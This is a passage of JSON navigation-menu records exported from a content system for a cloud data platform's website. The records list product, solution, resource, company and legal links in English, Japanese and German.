t"},{"_key":"918b493b1214","_type":"navItem","image":{"_type":"mainImage","asset":{"_ref":"image-76028fc627dad2c80604a34dd9c9b5488375a3f8-800x499-jpg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"ca729b10-22a0-4d28-8492-c0b69e88b2ce__i18n_ja","_type":"reference"},"title":"DevOpsツールのご紹介"},"variant":"highlight"}],"title":"プラットフォーム"}],"title":"プラットフォーム"},{"_key":"bb01d5c450a7407fc4f5de6ab69d6880","_type":"link","internalLink":{"_ref":"c79a4329-7549-48d7-90d2-617da8070ffd__i18n_ja","_type":"reference"},"title":"企業情報"},{"_key":"3a1bc05b1c79","_type":"link","internalLink":{"_ref":"16b06c52-bdff-4f7c-90f7-f564e1faac21__i18n_ja","_type":"reference"},"title":"価格体系"}],"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"slug":{"_type":"slug","current":"main-menu"},"title":"Main menu","variant":"primary"} {"__i18n_lang":"en","_createdAt":"2022-09-11T18:56:01Z","_id":"0ad0814c-443a-4ee8-9884-190f7af65268","_rev":"CK1sLU2mnwa3vmbYWOvkkS","_type":"navigation","_updatedAt":"2022-09-11T18:56:01Z","items":[{"_key":"6fa66cb3f97d","_type":"link","internalLink":{"_ref":"564ed66d-7134-4ec7-9de1-997270317ce2","_type":"reference"},"title":"Time series data"},{"_key":"13241ffecc66","_type":"link","internalLink":{"_ref":"c7dc6e77-a593-4ce1-a8c0-aa3358aabfac","_type":"reference"},"title":"What are TSDBs"},{"_key":"a09980dc8501","_type":"link","internalLink":{"_ref":"4105be50-7853-48b0-800b-26e84da9d146","_type":"reference"},"title":"Aiven for M3"},{"_key":"7d63d6dd5d4c","_type":"link","internalLink":{"_ref":"4ffa575d-3214-4ed9-982c-6ee1b82bb5dd","_type":"reference"},"title":"Observability"},{"_key":"742efb972e27","_type":"link","internalLink":{"_ref":"fc181c6b-5471-4dd5-9ee9-ad2d3cc28bfd","_type":"reference"},"title":"Resources"}],"slug":{"_type":"slug","current":"tsdb-menu"},"title":"TSDB menu","variant":"secondary"} {"__i18n_lang":"en","_createdAt":"2022-12-09T14:24:42Z","_id":"d3682fc4-0bec-4657-9273-405424bdd8ed","_rev":"cwf6PSmkIH3MXtFHz0PR5I","_type":"navigation","_updatedAt":"2022-12-09T15:45:17Z","items":[{"_key":"bd635d71dc8c","_type":"link","internalLink":{"_ref":"174ba708-1e30-481f-ab87-32c8d8fac151","_type":"reference"},"title":"Terms of services"},{"_key":"6a595fa00c22","_type":"link","internalLink":{"_ref":"ef2b25b2-d677-46f7-9d13-288f493a0629","_type":"reference"},"title":"SLA"},{"_key":"95a1597a70ec","_type":"link","internalLink":{"_ref":"c6a6bde8-7a3d-42b2-aec7-b89f7feeb2bd","_type":"reference"},"title":"Data processing agreement"},{"_key":"12df35572bd3","_type":"link","internalLink":{"_ref":"e0c3ba03-765a-4d8c-bebb-90619d512ee5","_type":"reference"},"title":"Privacy policy"},{"_key":"2cd10ee9663f","_type":"link","internalLink":{"_ref":"16319f9c-a9fd-40b6-a142-55abea8fb589","_type":"reference"},"title":"Cookie policy"},{"_key":"88d5602875cb","_type":"link","internalLink":{"_ref":"4a5f09b0-1992-4697-8a26-33e4788fc5dd","_type":"reference"},"title":"Subprocessors \u0026 subcontractors"}],"slug":{"_type":"slug","current":"legal-menu"},"title":"Legal menu","variant":"secondary"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"de","_ref":"4f7b3f3c-98b7-4feb-8429-063bcf5d3ddf__i18n_de","_type":"reference"},{"_key":"fr","_ref":"4f7b3f3c-98b7-4feb-8429-063bcf5d3ddf__i18n_fr","_type":"reference"},{"_key":"ja","_ref":"4f7b3f3c-98b7-4feb-8429-063bcf5d3ddf__i18n_ja","_type":"reference"}],"_createdAt":"2022-08-25T12:18:32Z","_id":"4f7b3f3c-98b7-4feb-8429-063bcf5d3ddf","_rev":"aLIIQ7Q5L2eXkJOQZROaxu","_type":"navigation","_updatedAt":"2025-01-09T13:52:52Z","items":[{"_key":"bb686c004610","_type":"navSubmenu","navLinkGroups":[{"_key":"a8c3b1a9f321","_type":"navLinkGroup","group":"column-1","items":[{"_key":"47afd74b9fd485fc2e0ad9d238dfe5e8","_type":"navItem","navLink":{"_type":"link","caption":"One platform to stream, store and serve data on any cloud","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform"},"variant":"default"},{"_key":"41826df980db","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"7331d886-a62a-49c1-92bd-0b7d9f55dd21","_type":"reference"},"title":"Bring Your Own Cloud (BYOC)"},"variant":"default"},{"_key":"19e8ef99aca3","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"1ae17d9b-e79f-471e-9cb2-d733725273f4","_type":"reference"},"title":"Find your perfect plan"},"variant":"highlight"}],"title":"Platform"},{"_key":"8046d61cc061","_type":"navLinkGroup","group":"column-1","items":[{"_key":"9fd252b32ebe","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"},"title":"Integrations and connectors"},"variant":"default"}],"title":"Integrations"},{"_key":"59bb36301bd9","_type":"navLinkGroup","group":"column-1","items":[{"_key":"00f2a0680937","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"09e0a894-0d29-4a89-bc91-367650f4653b","_type":"reference"},"title":"AWS"},"variant":"default"},{"_key":"204a2214444a","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"4e339088-4dba-4897-a1ea-06c572b37577","_type":"reference"},"title":"Google Cloud"},"variant":"default"},{"_key":"faf6e9855b6b","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"f7e717a7-844c-4a77-98cf-a518ecea2b88","_type":"reference"},"title":"Microsoft Azure"},"variant":"default"}],"title":"Cloud partnerships"},{"_key":"d6637c001255","_type":"navLinkGroup","group":"column-2","items":[{"_key":"2f1045637bc8","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"70d94b51-4183-47e4-bce1-6672b43536ff","_type":"reference"},"title":"Learn how to stream data"},"variant":"highlight"},{"_key":"d4a24bea476c","_type":"navItem","icon":{"_type":"mainImage","alt":"Aiven for Apache Kafka® logo","asset":{"_ref":"image-184cb33e057478405636d30b72f56c94f88ca103-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"},"title":"Aiven for Apache Kafka®"},"variant":"default"},{"_key":"b2857faa7074","_type":"navItem","icon":{"_type":"mainImage","alt":"Aiven for Apache Flink® logo","asset":{"_ref":"image-c96d109662fa0afd283a3ce7fbd1af8a8005f682-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"53f983e1-0b44-4570-8e1d-2f495cea3f7c","_type":"reference"},"title":"Aiven for Apache Flink®"},"variant":"default"}],"title":"Stream"},{"_key":"bc1c66122dd5","_type":"navLinkGroup","group":"column-2","items":[{"_key":"1c8f408617e3","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"13ecea8b-dacb-4056-af66-283caf0da0c3","_type":"reference"},"title":"Learn how to store data"},"variant":"highlight"},{"_key":"3afe4da565d1","_type":"navItem","icon":{"_type":"mainImage","alt":"Aiven for AlloyDB Omni logo","asset":{"_ref":"image-8371936a7906a98fd63ae43361a9157a4a1498e5-48x48-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"09bf1b3f-079a-4b55-ac46-7b89f9ac94b8","_type":"reference"},"title":"Aiven for AlloyDB Omni"},"variant":"default"},{"_key":"a7fdf13581dd","_type":"navItem","icon":{"_type":"mainImage","alt":"Aiven for PostgreSQL® logo","asset":{"_ref":"image-1e41c5eca58a19a523cfc3597c6ff0f3baf71ea4-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf","_type":"reference"},"title":"Aiven for PostgreSQL®"},"variant":"default"},{"_key":"5ad670a9a200","_type":"navItem","icon":{"_type":"mainImage","alt":"Aiven for MySQL logo","asset":{"_ref":"image-8443a7ce7f5ba06083c450ba0cce89a7151849b4-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"e7fd6ec7-3b26-4955-abc0-77fcbbe307e2","_type":"reference"},"title":"Aiven for MySQL"},"variant":"default"},{"_key":"97bd70d16a2c","_type":"navItem","icon":{"_type":"mainImage","alt":"Aiven for Valkey™ logo","asset":{"_ref":"image-f997cab5874d12c680040053b0a516337323f549-48x48-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"468bc3bf-30d4-4b6f-b021-d9a1bee1a7eb","_type":"reference"},"title":"Aiven for Valkey™"},"variant":"default"},{"_key":"04b7ece07fd465693d9e157394dce03a","_type":"navItem","icon":{"_type":"mainImage","alt":"Aiven for Dragonfly logo","asset":{"_ref":"image-49b048e58588a4a7acbe41dcf92c84379800936f-56x56-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"068b5598-f4e4-416e-9357-f797ca9348f8","_type":"reference"},"title":"Aiven for Dragonfly"},"variant":"default"}],"title":"Store"},{"_key":"46a6c6f61faf","_type":"navLinkGroup","group":"column-2","items":[{"_key":"8185cca425a4","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"b073a6f0-4688-49f1-84b3-0246415ea9b2","_type":"reference"},"title":"Learn how to serve data"},"variant":"highlight"},{"_key":"d12066d6ea57","_type":"navItem","icon":{"_type":"mainImage","alt":"Aiven for ClickHouse® logo","asset":{"_ref":"image-41bf2f72c0a4c8def391b8bd40463dd894343541-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"37a2d4d0-b76b-41c6-9f9d-973358ee862d","_type":"reference"},"title":"Aiven for ClickHouse®"},"variant":"default"},{"_key":"dc5630882ea5","_type":"navItem","icon":{"_type":"mainImage","alt":"Aiven for OpenSearch® logo","asset":{"_ref":"image-24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa","_type":"reference"},"title":"Aiven for OpenSearch®"},"variant":"default"},{"_key":"3091b15fbc3f2b225077631aa81e23e1","_type":"navItem","icon":{"_type":"mainImage","alt":"Aiven for Metrics logo","asset":{"_ref":"image-85dd452da136a8d9c34d5d317508de811aa34662-48x48-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"af7d02c4-3523-4a21-a721-2cd5fb32a0f4","_type":"reference"},"title":"Aiven for Metrics"},"variant":"default"},{"_key":"1509a0c30042","_type":"navItem","icon":{"_type":"mainImage","alt":"Aiven for Grafana® logo","asset":{"_ref":"image-6ae9b34c7ca56664b6e217e40c0b3e6948de81d3-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"42c18edd-bcf8-4b56-8150-12787a872b60","_type":"reference"},"title":"Aiven for Grafana®"},"variant":"default"}],"title":"Serve"}],"title":"Platform"},{"_key":"1aa58a277828","_type":"navSubmenu","navLinkGroups":[{"_key":"ff81da24a7e9","_type":"navLinkGroup","group":"column-1","items":[{"_key":"6ee29dd78d50","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"fcb16d8d-4a32-48c4-a382-5e06a395fb53","_type":"reference"},"title":"AI"},"variant":"default"},{"_key":"c66c61b2b3ec","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"},"title":"AI database optimization"},"variant":"default"},{"_key":"99bd8948acfc","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"c093c67e-df4f-4f4d-aa41-a7d16b0970ae","_type":"reference"},"title":"Vector databases"},"variant":"default"},{"_key":"68e534e5461d","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"f820e157-d994-42a0-8492-e7ca6a5d655c","_type":"reference"},"title":"Event streaming"},"variant":"default"},{"_key":"dc6f8c09b62f","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"02642665-bb66-4535-bc74-65b55ce0fd0d","_type":"reference"},"title":"View all solutions"},"variant":"highlight"}],"title":"Use cases"},{"_key":"541556945b60","_type":"navLinkGroup","group":"column-2","items":[{"_key":"eeb765096269","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"3efca932-e77b-436e-8a30-73aa9fe4d32e","_type":"reference"},"title":"Retail"},"variant":"default"},{"_key":"e96a94f5df1b","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"7ddc00ac-3928-428c-8d61-d860d0011492","_type":"reference"},"title":"Software"},"variant":"default"},{"_key":"31951636b02e3a0b1678f29e1347addc","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"8f78eb23-e1ba-46bf-b150-336732e1648e","_type":"reference"},"title":"Fintech"},"variant":"default"},{"_key":"677cab651678","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"be4378c0-8d66-4694-8a37-b9519f4b10ae","_type":"reference"},"title":"View all case studies"},"variant":"highlight"}],"title":"Industries"},{"_key":"7889fbbb457e","_type":"navLinkGroup","group":"column-3","items":[{"_key":"fed55ec34337","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"a3deb510-a007-448e-ac4e-bbf5bef29464","_type":"reference"},"title":"Expert services"},"variant":"default"}],"title":"For Enterprise"},{"_key":"6826c345b0a9","_type":"navLinkGroup","group":"column-3","items":[{"_key":"f299f3ac10e6","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"c988ff38-30ef-409e-b3ea-c3478c3b664e","_type":"reference"},"title":"Cluster startup program"},"variant":"default"},{"_key":"6cbc04edced4","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"3b115375-8dff-41e2-a23b-9d9df48a8a14","_type":"reference"},"title":"Guide for startups"},"variant":"default"}],"title":"For Startup"},{"_key":"2eb9900e6836","_type":"navLinkGroup","group":"column-3","items":[{"_key":"3966bc4c4a0d","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"a86fa077-8308-41ae-a33c-498d64b1d4db","_type":"reference"},"title":"Partners"},"variant":"default"}],"title":"For Partners"}],"title":"Solutions"},{"_key":"86ef58c39bfe","_type":"navSubmenu","navLinkGroups":[{"_key":"e43d5a594f23","_type":"navLinkGroup","group":"column-1","items":[{"_key":"2036d8237b43","_type":"navItem","navLink":{"_type":"link","externalUrl":"https://aiven.io/docs","title":"Documentation"},"variant":"default"},{"_key":"225c80591d03","_type":"navItem","navLink":{"_type":"link","externalUrl":"https://status.aiven.io/","title":"Incident status updates"},"variant":"default"},{"_key":"06459538a744","_type":"navItem","navLink":{"_type":"link","caption":"Product ideas and public roadmap","externalUrl":"https://ideas.aiven.io","title":"Aiven Ideas"},"variant":"default"},{"_key":"7170cb9b5558","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"814b2c0a-94d5-4b79-a17f-1a1d5f54f10a","_type":"reference"},"title":"Changelog"},"variant":"default"}],"title":"Using Aiven"},{"_key":"ea1cad6b3ddc","_type":"navLinkGroup","group":"column-2","items":[{"_key":"4ae10462ca191bccde62b494bbd40658","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"5ee42446-6891-458b-bac8-fd25fa3fc6f2","_type":"reference"},"title":"Events"},"variant":"default"},{"_key":"afed37089799","_type":"navItem","navLink":{"_type":"link","caption":"Tutorials and deep dives","internalLink":{"_ref":"20f93b68-4c96-46eb-8900-a3b522bfa249","_type":"reference"},"title":"Developer center"},"variant":"default"},{"_key":"2c9d03cc408e46fb9be6e3080736cf94","_type":"navItem","navLink":{"_type":"link","caption":"Ebooks, videos and more","internalLink":{"_ref":"07b6e990-ab38-4eaf-b4e6-d8af0126535c","_type":"reference"},"title":"Resource library"},"variant":"default"},{"_key":"491c19cde664","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"438575c3-65ad-44ab-97bc-e0ff42080205","_type":"reference"},"title":"Blog"},"variant":"default"},{"_key":"d58a8d543cf0","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"59439506-d307-4ea8-ac85-0d0388792985","_type":"reference"},"title":"Glossary"},"variant":"default"},{"_key":"e48a0fc02f75","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"94242bba-8421-4db5-8edf-075086929aad","_type":"reference"},"title":"Join the Aiven Community"},"variant":"highlight"}],"title":"Discover"},{"_key":"bd9cd65d4873","_type":"navLinkGroup","group":"column-3","items":[{"_key":"71f0ee5389c5","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"cb4fe454-eec8-4099-9f4d-3b0e29f872b1","_type":"reference"},"title":"SQL Optimizer"},"variant":"default"},{"_key":"e6d6398bc5dd","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"b5993f84-5248-49e7-8e75-c6be58365e05","_type":"reference"},"title":"PostgreSQL Playground"},"variant":"default"},{"_key":"0a61eb2e8e8d1b5e78583a538c897f1b","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"a90fd771-37de-409a-b1ac-051a49883f80","_type":"reference"},"title":"SQL Formatter"},"variant":"default"},{"_key":"ec478f8daf01","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"b72fddc9-a8e4-48f3-874d-2b0ad9c00992","_type":"reference"},"title":"SQL Syntax Checker"},"variant":"default"},{"_key":"16cfa9b3976e","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"a29fa0c9-49f2-4858-a460-d94ea38de79a","_type":"reference"},"title":"SQL to Text"},"variant":"default"},{"_key":"fa3c8bae93ee","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"812f1589-a79c-4ea3-baa6-b6e32f1277c5","_type":"reference"},"title":"Text to SQL"},"variant":"default"},{"_key":"7958e4f7bd20","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"7642e60d-43eb-4129-8f86-146ad0dbaf59","_type":"reference"},"title":"SQL Minifier"},"variant":"default"},{"_key":"0db1bd729dbd","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"ef7f96df-2537-47e8-a265-ad228e47b83e","_type":"reference"},"title":"SQL Compare"},"variant":"default"},{"_key":"b120cdef11bc","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"7a9fc322-051d-49da-8532-073b48611e2d","_type":"reference"},"title":"Instances Comparator"},"variant":"default"},{"_key":"4d1da7eb4c7f","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"fae73ef3-8a98-4b39-96d3-33f1a3894e58","_type":"reference"},"title":"View all tools"},"variant":"highlight"}],"title":"Free tools"}],"title":"Resources"},{"_key":"4637606471c5","_type":"navSubmenu","navLinkGroups":[{"_key":"5193b1bd1878","_type":"navLinkGroup","group":"column-1","items":[{"_key":"1d1edb7771f1","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"c79a4329-7549-48d7-90d2-617da8070ffd","_type":"reference"},"title":"About Aiven"},"variant":"default"},{"_key":"243ec0c92fe2","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"227fce02-f6f1-4e82-a166-820dac2c21f5","_type":"reference"},"title":"Our open source commitment"},"variant":"default"},{"_key":"438c85cc29c3","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"5c8b6345-6c17-4a8c-8ff1-fa2e51c3764a","_type":"reference"},"title":"Sustainability"},"variant":"default"},{"_key":"693505954e47","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"668f580e-9996-4c28-8fbe-1c6151081584","_type":"reference"},"title":"Press"},"variant":"default"},{"_key":"88abcd1cb159","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"},"title":"Contact us"},"variant":"highlight"}],"title":"About"},{"_key":"f9539f15d333","_type":"navLinkGroup","group":"column-2","items":[{"_key":"b4297f9b22cc","_type":"navItem","navLink":{"_type":"link","caption":"Join our cast","internalLink":{"_ref":"9ec37216-4c4e-4430-8abe-e15365bc9d55","_type":"reference"},"title":"Careers"},"variant":"default"},{"_key":"6efff629094b","_type":"navItem","image":{"_type":"mainImage","alt":"Aiven group photo during Crab Week 2023","asset":{"_ref":"image-fa97bb4696e38e6a7c603ab4d3e6e51d4a07afc2-1920x1037-jpg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"04d831e8-70a3-4eaa-826a-1247de9bab4b","_type":"reference"},"title":"See our open positions"},"variant":"highlight"}],"title":"Careers"}],"title":"Company"},{"_key":"debba7bd2ed9","_type":"link","internalLink":{"_ref":"16b06c52-bdff-4f7c-90f7-f564e1faac21","_type":"reference"},"title":"Pricing"}],"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"slug":{"_type":"slug","current":"main-menu"},"title":"Main menu","variant":"primary"} {"__i18n_base":{"_ref":"4f7b3f3c-98b7-4feb-8429-063bcf5d3ddf","_type":"reference"},"__i18n_lang":"de","_createdAt":"2022-08-25T12:18:32Z","_id":"4f7b3f3c-98b7-4feb-8429-063bcf5d3ddf__i18n_de","_rev":"pUSD55BbKwcTZOl8ynLpCW","_type":"navigation","_updatedAt":"2024-11-22T15:53:27Z","items":[{"_key":"bb686c004610","_type":"navSubmenu","navLinkGroups":[{"_key":"a8c3b1a9f321","_type":"navLinkGroup","group":"column-1","items":[{"_key":"47afd74b9fd485fc2e0ad9d238dfe5e8","_type":"navItem","navLink":{"_type":"link","caption":"One platform to stream, store and serve data on any cloud","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform"},"variant":"default"},{"_key":"41826df980db","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"7331d886-a62a-49c1-92bd-0b7d9f55dd21","_type":"reference"},"title":"Bring Your Own Cloud (BYOC)"},"variant":"default"},{"_key":"19e8ef99aca3","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"1ae17d9b-e79f-471e-9cb2-d733725273f4","_type":"reference"},"title":"Find your perfect plan"},"variant":"highlight"}],"title":"Platform"},{"_key":"8046d61cc061","_type":"navLinkGroup","group":"column-1","items":[{"_key":"9fd252b32ebe","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"},"title":"Integrations and connectors"},"variant":"default"}],"title":"Integrations"},{"_key":"59bb36301bd9","_type":"navLinkGroup","group":"column-1","items":[{"_key":"00f2a0680937","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"09e0a894-0d29-4a89-bc91-367650f4653b","_type":"reference"},"title":"AWS"},"variant":"default"},{"_key":"204a2214444a","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"4e339088-4dba-4897-a1ea-06c572b37577","_type":"reference"},"title":"Google Cloud"},"variant":"default"},{"_key":"faf6e9855b6b","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"f7e717a7-844c-4a77-98cf-a518ecea2b88","_type":"reference"},"title":"Microsoft Azure"},"variant":"default"}],"title":"Cloud partnerships"},{"_key":"d6637c001255","_type":"navLinkGroup","group":"column-2","items":[{"_key":"2f1045637bc8","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"70d94b51-4183-47e4-bce1-6672b43536ff","_type":"reference"},"title":"Learn how to stream data"},"variant":"highlight"},{"_key":"d4a24bea476c","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-184cb33e057478405636d30b72f56c94f88ca103-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"},"title":"Aiven for Apache Kafka®"},"variant":"default"},{"_key":"b2857faa7074","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-c96d109662fa0afd283a3ce7fbd1af8a8005f682-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"53f983e1-0b44-4570-8e1d-2f495cea3f7c","_type":"reference"},"title":"Aiven for Apache Flink®"},"variant":"default"}],"title":"Stream"},{"_key":"bc1c66122dd5","_type":"navLinkGroup","group":"column-2","items":[{"_key":"1c8f408617e3","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"13ecea8b-dacb-4056-af66-283caf0da0c3","_type":"reference"},"title":"Learn how to store data"},"variant":"highlight"},{"_key":"3afe4da565d1","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-8371936a7906a98fd63ae43361a9157a4a1498e5-48x48-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"09bf1b3f-079a-4b55-ac46-7b89f9ac94b8","_type":"reference"},"title":"Aiven for AlloyDB Omni"},"variant":"default"},{"_key":"a7fdf13581dd","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-1e41c5eca58a19a523cfc3597c6ff0f3baf71ea4-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf","_type":"reference"},"title":"Aiven for PostgreSQL®"},"variant":"default"},{"_key":"5ad670a9a200","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-8443a7ce7f5ba06083c450ba0cce89a7151849b4-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"e7fd6ec7-3b26-4955-abc0-77fcbbe307e2","_type":"reference"},"title":"Aiven for MySQL"},"variant":"default"},{"_key":"97bd70d16a2c","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-f997cab5874d12c680040053b0a516337323f549-48x48-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"468bc3bf-30d4-4b6f-b021-d9a1bee1a7eb","_type":"reference"},"title":"Aiven for Valkey™"},"variant":"default"},{"_key":"04b7ece07fd465693d9e157394dce03a","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-49b048e58588a4a7acbe41dcf92c84379800936f-56x56-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"068b5598-f4e4-416e-9357-f797ca9348f8","_type":"reference"},"title":"Aiven for Dragonfly"},"variant":"default"}],"title":"Store"},{"_key":"46a6c6f61faf","_type":"navLinkGroup","group":"column-2","items":[{"_key":"8185cca425a4","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"b073a6f0-4688-49f1-84b3-0246415ea9b2","_type":"reference"},"title":"Learn how to serve data"},"variant":"highlight"},{"_key":"d12066d6ea57","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-41bf2f72c0a4c8def391b8bd40463dd894343541-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"37a2d4d0-b76b-41c6-9f9d-973358ee862d","_type":"reference"},"title":"Aiven for ClickHouse®"},"variant":"default"},{"_key":"dc5630882ea5","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa","_type":"reference"},"title":"Aiven for OpenSearch®"},"variant":"default"},{"_key":"3091b15fbc3f2b225077631aa81e23e1","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-85dd452da136a8d9c34d5d317508de811aa34662-48x48-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"af7d02c4-3523-4a21-a721-2cd5fb32a0f4","_type":"reference"},"title":"Aiven for Metrics"},"variant":"default"},{"_key":"1509a0c30042","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-6ae9b34c7ca56664b6e217e40c0b3e6948de81d3-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"42c18edd-bcf8-4b56-8150-12787a872b60","_type":"reference"},"title":"Aiven for Grafana®"},"variant":"default"}],"title":"Serve"}],"title":"Platform"},{"_key":"1aa58a277828","_type":"navSubmenu","navLinkGroups":[{"_key":"ff81da24a7e9","_type":"navLinkGroup","group":"column-1","items":[{"_key":"6ee29dd78d50","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"fcb16d8d-4a32-48c4-a382-5e06a395fb53","_type":"reference"},"title":"AI"},"variant":"default"},{"_key":"c66c61b2b3ec","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"},"title":"AI database optimization"},"variant":"default"},{"_key":"99bd8948acfc","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"c093c67e-df4f-4f4d-aa41-a7d16b0970ae","_type":"reference"},"title":"Vector databases"},"variant":"default"},{"_key":"68e534e5461d","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"f820e157-d994-42a0-8492-e7ca6a5d655c","_type":"reference"},"title":"Event streaming"},"variant":"default"},{"_key":"dc6f8c09b62f","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"02642665-bb66-4535-bc74-65b55ce0fd0d","_type":"reference"},"title":"View all solutions"},"variant":"highlight"}],"title":"Use 